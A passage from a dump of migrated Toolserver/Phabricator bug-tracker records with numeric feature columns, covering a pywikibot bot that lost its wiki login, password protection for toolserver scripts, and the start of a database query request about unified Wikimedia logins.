**Severity**: major",Needs Triage,90.0,1388766060,1388766113.0,PHID-USER-hbffue25ov3attlvclze,False,,False,PHID-TASK-pmyczkslrwn6ds6odb6r,task_description,resolved,True,c3,1,False,False,True,-78,True,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,8.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.5,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.0,0.0,12.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,4.5,1.0,11.0,2.0,1.0,6.0,0.0,0.0,1.0,0.0,2.5,0.0,3.0,0.0,0.5,8.0,7.5,1.0,0.0,0.0,0.5,0.0,3.5,0.0,0.0,3.0,0.0,0.0,2.0,4.896267998824566,0.6969585659712019,"This issue was converted from URL
Summary: subster_irc bot forgets wiki login when accessing other mediawiki project
Issue type: Bug - A problem which impairs or prevents the functions of the product.
Priority: Major
Status: Closed
Assignee: drtrigon <dr.trigon@surfeu.ch>

-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Tue, 17 Jan 2012 19:06:41
-------------------------------------------------------------------------------

When looking at the logfile from 2012-01-17 for following comments and later:

QUOTE

the subster bot (may be just when used by subster_irc...?!?) asks for the wiki password.  
(look also at difflink in URL - which triggered the error in the logfile)

We have to protect the bot from logging out when accessing foreign wikis!

--------------------------
**Version**: unspecified
**Severity**: major"
276154,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"
This bug was imported as RESOLVED. The original assignee has therefore not been
set, and the original reporters/responders have not been added as CC, to
prevent bugspam.

If you re-open this bug, please consider adding these people to the CC list:
Original assignee: dr.trigon@surfeu.ch
CC list: dr.trigon@surfeu.ch",,,1388766113,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,9.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.230769230769231,0.676923076923077,"
This bug was imported as RESOLVED. The original assignee has therefore not been
set, and the original reporters/responders have not been added as CC, to
prevent bugspam.

If you re-open this bug, please consider adding these people to the CC list:
Original assignee: dr.trigon@surfeu.ch
CC list: dr.trigon@surfeu.ch"
276148,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Thu, 16 Feb 2012 22:58:18
-------------------------------------------------------------------------------

updated analogue to rewrite; 'getUrl' moved/splitted to 'pywikibot.comms.http.request'  
the generic one does not attempt to (re)login on the target if it is a wiki

upstream r9901.

Ported and done in r270.",,,1388766112,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,5.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,8.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,11.0,8.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,6.28125,0.796875,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Thu, 16 Feb 2012 22:58:18
-------------------------------------------------------------------------------

updated analogue to rewrite; 'getUrl' moved/splitted to 'pywikibot.comms.http.request'  
the generic one does not attempt to (re)login on the target if it is a wiki

upstream r9901.

Ported and done in r270."
276142,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Thu, 16 Feb 2012 20:49:55
-------------------------------------------------------------------------------

The work-a-round was removed because of fix of 'live_version' upstream in r8900. Done in r269.",,,1388766110,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,7.046511627906977,0.7906976744186046,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Thu, 16 Feb 2012 20:49:55
-------------------------------------------------------------------------------

The work-a-round was removed because of fix of 'live_version' upstream in r8900. Done in r269."
276136,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sun, 05 Feb 2012 02:19:57
-------------------------------------------------------------------------------

Another issue - may be related, may be not (but can be solved in same session, since hast to be done upstream) is the fact that the framework seems to have trouble handling e.g. arwiki. 'live_version' has a bug there (raises an error) and also login seems to be problematic because of:
    
    2012-02-05 02:11:17,512 bot_control          INFO     WARNING: Your account on wikipedia:ar is blocked by False.
    2012-02-05 02:11:17,512 bot_control          INFO     Reason: أيبي التول سيرفر
    2012-02-05 02:11:17,512 bot_control          INFO     Editing using this account will stop the run.
    

The first issue was worked-a-round by skipping this request for 'ar' in r261.",,,1388766108,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,2.5,0.5,2.0,1.0,0.5,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.5,0.0,1.5,0.0,0.5,0.0,1.0,0.0,0.0,0.5,1.5,0.5,1.0,3.5,0.5,0.0,0.5,0.5,1.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.5,0.5,0.5,0.0,0.0,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,1.5,1.0,5.5,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.5,7.5,9.5,0.0,2.0,0.0,0.5,0.0,0.0,1.5,0.0,1.5,0.0,0.0,3.0,4.953252032520325,0.6804426377597109,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sun, 05 Feb 2012 02:19:57
-------------------------------------------------------------------------------

Another issue - may be related, may be not (but can be solved in same session, since hast to be done upstream) is the fact that the framework seems to have trouble handling e.g. arwiki. 'live_version' has a bug there (raises an error) and also login seems to be problematic because of:
    
    2012-02-05 02:11:17,512 bot_control          INFO     WARNING: Your account on wikipedia:ar is blocked by False.
    2012-02-05 02:11:17,512 bot_control          INFO     Reason: أيبي التول سيرفر
    2012-02-05 02:11:17,512 bot_control          INFO     Editing using this account will stop the run.
    

The first issue was worked-a-round by skipping this request for 'ar' in r261."
276131,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Thu, 02 Feb 2012 10:09:14
-------------------------------------------------------------------------------

  * http://lists.wikimedia.org/pipermail/pywikipedia-l/2012-January/007205.html
  * http://lists.wikimedia.org/pipermail/pywikipedia-l/2012-February/007223.html",,,1388766107,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,9.44,0.76,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Thu, 02 Feb 2012 10:09:14
-------------------------------------------------------------------------------

  * URL
  * URL"
276125,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Wed, 01 Feb 2012 16:32:36
-------------------------------------------------------------------------------

Re-merge with pywikipedia framework (increase to v1.2) and solve the problem as worked out on maillist. Create a new generic getUrl function (from old one in site class) and specialize it into the one in site class. Similar to the solution in rewrite.

May be this has to be discussed further with Merlijn (valhallasw) since from rewrite it seams to me that it could be impossible to separate into the whished 2 functions... but let's solve this later... ![][1]

   [1]: https://jira.toolserver.org/images/icons/emoticons/wink.gif",,,1388766105,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,1.0,0.0,4.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,13.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.5,6.0,1.5,2.0,4.5,0.0,0.0,1.0,0.0,7.5,0.0,4.5,0.0,3.5,13.5,3.0,0.0,0.0,0.0,3.5,0.0,0.0,0.5,1.0,0.0,1.0,0.0,4.0,4.912698412698413,0.7936507936507937,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Wed, 01 Feb 2012 16:32:36
-------------------------------------------------------------------------------

Re-merge with pywikipedia framework (increase to v1.2) and solve the problem as worked out on maillist. Create a new generic getUrl function (from old one in site class) and specialize it into the one in site class. Similar to the solution in rewrite.

May be this has to be discussed further with Merlijn (valhallasw) since from rewrite it seams to me that it could be impossible to separate into the whished 2 functions... but let's solve this later... ![][1]

   [1]: URL"
276121,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Mon, 30 Jan 2012 10:33:23
-------------------------------------------------------------------------------

Started the discussion on the list, look at http://lists.wikimedia.org/pipermail/pywikipedia-l/2012-January/007182.html

From that it seems to be hard to find a consensus since in fact I am ""abusing"" the function here. But a very slight modification to the function would solve all problems... Thus there has to be a useful consensus...",,,1388766104,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,1.0,0.0,1.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,13.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,3.0,13.0,7.0,0.0,3.0,0.0,3.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,3.0,5.7894736842105265,0.7368421052631579,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Mon, 30 Jan 2012 10:33:23
-------------------------------------------------------------------------------

Started the discussion on the list, look at URL

From that it seems to be hard to find a consensus since in fact I am ""abusing"" the function here. But a very slight modification to the function would solve all problems... Thus there has to be a useful consensus..."
276117,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sat, 28 Jan 2012 15:06:39
-------------------------------------------------------------------------------

Critical -> Major

The bug is solved (work-a-round) but since subster_irc runs multi-threaded it is still possible that on thread tries to write in between 'getUrl' and '_load' from other thread and thus will raise and error. Thus the whole logout should be prevented and not happen at all!",,,1388766102,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,1.0,0.0,0.0,2.0,1.0,6.0,1.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,2.0,6.0,3.0,0.0,0.0,1.0,0.0,5.0,0.0,5.0,0.0,1.0,10.0,8.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,5.4186046511627906,0.8023255813953488,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sat, 28 Jan 2012 15:06:39
-------------------------------------------------------------------------------

Critical -> Major

The bug is solved (work-a-round) but since subster_irc runs multi-threaded it is still possible that on thread tries to write in between 'getUrl' and '_load' from other thread and thus will raise and error. Thus the whole logout should be prevented and not happen at all!"
276113,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sat, 28 Jan 2012 14:42:47
-------------------------------------------------------------------------------

This (work-a-round) was implemented in r259.",,,1388766101,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,7.9393939393939394,0.8484848484848485,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sat, 28 Jan 2012 14:42:47
-------------------------------------------------------------------------------

This (work-a-round) was implemented in r259."
276109,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sat, 28 Jan 2012 14:06:11
-------------------------------------------------------------------------------

A possible solution or work-a-round for this problem is to use 'site._load(force=True)' to re-login e.g.
    
    external_buffer = self.site.getUrl(param['url'], no_hostname = True)
    if self.site.loggedInAs() is None: self.site._load(force=True)",,,1388766099,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,9.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,6.507246376811594,0.7101449275362319,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sat, 28 Jan 2012 14:06:11
-------------------------------------------------------------------------------

A possible solution or work-a-round for this problem is to use 'site._load(force=True)' to re-login e.g.
    
    external_buffer = self.site.getUrl(param['url'], no_hostname = True)
    if self.site.loggedInAs() is None: self.site._load(force=True)"
276102,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Fri, 20 Jan 2012 10:09:29
-------------------------------------------------------------------------------

This does not apply when accessing the same external wikis by API, as can be seen in [1].

[1] http://de.wikipedia.org/w/index.php?title=Benutzer:DrTrigon/Spielwiese&diff=98597085&oldid=98597019&diffonly=0",,,1388766097,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pmyczkslrwn6ds6odb6r,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,9.0,6.446808510638298,0.8085106382978723,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Fri, 20 Jan 2012 10:09:29
-------------------------------------------------------------------------------

This does not apply when accessing the same external wikis by API, as can be seen in [1].

[1] URL"
61454,DRTRIGON-40 Passwort/Login for toolserver scripts,"This issue was converted from https://jira.toolserver.org/browse/DRTRIGON-40.
Summary: Passwort/Login for toolserver scripts
Issue type: Sub-task - The sub-task of the issue
Priority: Major
Status: Resolved
Assignee: drtrigon <dr.trigon@surfeu.ch>

-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Fri, 03 Sep 2010 17:29:59
-------------------------------------------------------------------------------

Passwort/Login wo nötig (sensible Daten od. Funktionen; z.B. 'panel.py') mit [1] (hat auch noch andere [2])

[1] http://toolserver.org/~magnus/tusc.php  
[2] http://toolserver.org/~magnus/

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1388765340,1388765353.0,PHID-USER-hbffue25ov3attlvclze,False,,False,PHID-TASK-mniatmpbxjtq33flln2m,task_description,resolved,True,c3,1,False,False,True,-78,True,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,16.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,4.5,0.0,0.0,2.0,14.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.684203789042499,0.6477214541730671,"This issue was converted from URL
Summary: Passwort/Login for toolserver scripts
Issue type: Sub-task - The sub-task of the issue
Priority: Major
Status: Resolved
Assignee: drtrigon <dr.trigon@surfeu.ch>

-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Fri, 03 Sep 2010 17:29:59
-------------------------------------------------------------------------------

Passwort/Login wo nötig (sensible Daten od. Funktionen; z.B. 'panel.py') mit [1] (hat auch noch andere [2])

[1] URL  
[2] URL

--------------------------
**Version**: unspecified
**Severity**: major"
273304,DRTRIGON-40 Passwort/Login for toolserver scripts,"
This bug was imported as RESOLVED. The original assignee has therefore not been
set, and the original reporters/responders have not been added as CC, to
prevent bugspam.

If you re-open this bug, please consider adding these people to the CC list:
Original assignee: dr.trigon@surfeu.ch
CC list: dr.trigon@surfeu.ch",,,1388765353,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-mniatmpbxjtq33flln2m,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,9.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.230769230769231,0.676923076923077,"
This bug was imported as RESOLVED. The original assignee has therefore not been
set, and the original reporters/responders have not been added as CC, to
prevent bugspam.

If you re-open this bug, please consider adding these people to the CC list:
Original assignee: dr.trigon@surfeu.ch
CC list: dr.trigon@surfeu.ch"
273299,DRTRIGON-40 Passwort/Login for toolserver scripts,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Mon, 20 Sep 2010 18:45:10
-------------------------------------------------------------------------------

(switch close <-> resolve management)",,,1388765352,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-mniatmpbxjtq33flln2m,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,8.827586206896552,0.7931034482758621,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Mon, 20 Sep 2010 18:45:10
-------------------------------------------------------------------------------

(switch close <-> resolve management)"
273296,DRTRIGON-40 Passwort/Login for toolserver scripts,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Mon, 20 Sep 2010 17:22:30
-------------------------------------------------------------------------------

Closed because at the moment there are no areas where registered wiki users should have access only. There are high security areas, where the tool admin should have access only!

Can be re-opened, if a similar need appears again.",,,1388765350,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-mniatmpbxjtq33flln2m,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,10.0,6.0,0.0,6.0,0.0,0.0,1.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,3.0,6.1940298507462686,0.7611940298507462,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Mon, 20 Sep 2010 17:22:30
-------------------------------------------------------------------------------

Closed because at the moment there are no areas where registered wiki users should have access only. There are high security areas, where the tool admin should have access only!

Can be re-opened, if a similar need appears again."
273293,DRTRIGON-40 Passwort/Login for toolserver scripts,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sat, 04 Sep 2010 14:50:40
-------------------------------------------------------------------------------

Look at https://wiki.toolserver.org/view/User:DrTrigon for a list of tools. At the moment 2 are a partly critical:

  1. http://toolserver.org/~drtrigon/cgi-bin/panel.py
  2. http://toolserver.org/~drtrigon/cgi-bin/substersim.py

but the first should only give access to me so 'tusc' is not suitable for the second one ('SubsterBot') it could be a possibility!",,,1388765349,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-mniatmpbxjtq33flln2m,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,1.0,5.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,1.0,0.0,4.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,13.0,1.0,1.0,8.0,0.0,0.0,1.0,0.0,4.0,0.0,6.0,0.0,3.0,10.0,6.0,0.0,5.0,0.0,3.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,6.0,5.1923076923076925,0.7564102564102564,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sat, 04 Sep 2010 14:50:40
-------------------------------------------------------------------------------

Look at URL for a list of tools. At the moment 2 are a partly critical:

  1. URL
  2. URL

but the first should only give access to me so 'tusc' is not suitable for the second one ('SubsterBot') it could be a possibility!"
61358,DBQ-107 How many users have their logins unified?,"This issue was converted from https://jira.toolserver.org/browse/DBQ-107.
Summary: How many users have their logins unified?
Issue type: Task - A task that needs to be done.
Priority: Major
Status: Done
Assignee: (none)

-------------------------------------------------------------------------------
From: Paolo Massa <massa@fbk.eu>
Date: Mon, 11 Oct 2010 13:08:15
-------------------------------------------------------------------------------

I would like to know how many users unified their logins, i.e. they can login in all wikipedias using the same login and password, see http://meta.wikimedia.org/wiki/Help:Unified_login

Unfortunately I don't know which db tables are involved. It should be something about local and global accounts.

I know that there is a tool that shows all the ""Users with name Example on Wikimedia projects"".

I tried with my nickname (phauly) at http://toolserver.org/~vvv/sulutil.php?user=phauly

Below there are the first lines of output of http://toolserver.org/~vvv/sulutil.php?user=phauly

{{{

SUL account status

Username: Phauly

User ID: 546004

User registration: 13:03, 09 October 2008

Home wiki: enwiki

Locked: no

